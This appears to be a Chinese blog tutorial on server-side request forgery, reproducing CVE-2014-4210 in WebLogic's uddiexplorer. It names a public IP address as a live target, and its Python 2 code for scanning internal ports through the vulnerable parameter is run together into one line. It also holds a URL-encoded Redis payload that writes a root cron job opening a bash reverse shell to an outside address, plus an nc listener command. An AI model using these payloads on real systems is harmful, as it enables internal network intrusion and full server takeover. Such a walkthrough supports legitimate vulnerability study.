给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!
复习一下ssrf的原理及危害,并且以weblog的ssrf漏洞为案例
漏洞原理
SSRF(Server-side Request Forge, 服务端请求伪造)
通常用于控制web进而探测内网服务以及攻击内网脆弱应用
即当作跳板机,可作为ssrfsocks代理
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
通俗的说,比如这样一个url:,如果我们将换为与该服务器相连的内网服务器地址会产生什么效果呢?比如127.0.0.1、10.0.0.1、192.168.1.1等等,如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会返回其他的状态码,所以:如果应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤,就可能存在这种服务端请求伪造的缺陷。
漏洞产生
由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。
漏洞信息:
CVE-2014-4210,
版本:10.0.2,10.3.6,12.1.1,12.1.2.0.0
复现过程
访问 http://218.244.139.43:7001/uddiexplorer/ 无需登录即可查看uddiexplorer应用。
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001
抓包:观察发现operator参数,传递了一个URL,服务器回去访问这个url,可以思考它是否可以去访问内网主机,是否有SSRF漏洞
测试在访问不用的URL和端口时,返回的结果是否相同:
访问url和7001端口:返回一个404 状态码
访问一个不存在的端口:
根据报错的不同,可以进行内网探测,首先需要知道他的内网网段、
docker内网网段为172.18.0.xxx
简单脚本(Python2)(以知道网段为前提)
import thread
import time
import re
import requestsdef ite_ip(ip):for i in range(1, 256):final_ip = '{ip}.{i}'.format(ip=ip, i=i)print final_ipthread.start_new_thread(scan, (final_ip,))time.sleep(3)def scan(final_ip):ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')for port in ports:vul_url = 'http://your ip:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)try:#print vul_urlr = requests.get(vul_url, timeout=15, verify=False)result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)result2 = re.findall('but could not connect', r.content)result3 = re.findall('No route to host', r.content)if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:print '[!]'+final_ip + ':' + portexcept Exception, e:passif __name__ == '__main__':ip = "172.18.0"if ip:print ipite_ip(ip)else:print "no ip"
反弹shell:
利用这个6379端口,注入http头,将反弹shell脚本写入:
textset 1 “\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.3.222/7778 0>&1\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
saveaaa
使用url编码:
text%0A%0Aset%201%20%E2%80%9C%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.222%2F7778%200%3E%261%5Cn%5Cn%5Cn%5Cn%E2%80%9D%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%20%0A%0Aaaa
脚本含义:
. 发送三条redis命令,将弹shell脚本写入/etc/crontab: 分别为:
1. *号,意思是这条命令一直执行,也就是一直执行反弹shell的命令
2. 置redis备份文件的工作目录
3. 写入哪个文件,如果不存在,就创建
-
crontap 就是linux定时任务的位置,即守护进程
-
/etc/crontab 这个是肯定的 *
/etc/cron.d/*将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。 -
/var/spool/cron/root centos系统下root用户的cron文件
-
/var/spool/cron/crontabs/root debian系统下root用户的cron文件
开启端口监听:
nc -lvvnp 7778
收到数据包,反弹shell成功